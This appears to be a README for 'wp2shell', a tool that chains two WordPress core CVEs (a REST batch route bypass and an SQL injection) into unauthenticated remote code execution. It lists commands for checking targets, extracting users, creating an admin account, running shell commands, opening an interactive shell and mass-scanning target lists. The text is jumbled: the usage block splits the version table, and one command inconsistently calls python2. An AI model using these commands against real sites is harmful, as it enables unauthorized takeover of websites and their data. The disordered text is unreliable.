
wp2shell - WordPress RCE y PoC (CVE-2026-63030 + CVE-2026-60137)
Ejecución Remota de Código no autenticada en el núcleo de WordPress
por: JohenLastGen
Esta herramienta encadena dos vulnerabilidades críticas de WordPress para lograr RCE no autenticado:
| Vulnerabilidad | CVE | Descripción |
|---|---|---|
| Confusión de ruta batch REST | CVE-2026-63030 | Omite validación, introduce payload de SQLi |
| SQLi en WP_Query author__not_in | CVE-2026-60137 | Inyección de cadena sin procesar → ejecución SQL |
Impacto: Atacante no autenticado → crea admin → ejecuta comandos
| Rango de versión | Estado |
|---|---|
| WordPress 6.9.0 - 6.9.4 | ✅ VULNERABLE (Cadena RCE completa) |
#options:
-h, --help show this help message and exit
python3 wp2shell.py --help
# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com
# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users
# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"
# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive
# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
| WordPress 7.0.0 - 7.0.1 | ✅ VULNERABLE (Cadena RCE completa) |
| WordPress 6.8.0 - 6.8.5 | ⚠️ Solo SQLi (necesita plugin facilitador) |
| WordPress 6.9.5, 7.0.2+ | ❌ Parcheado |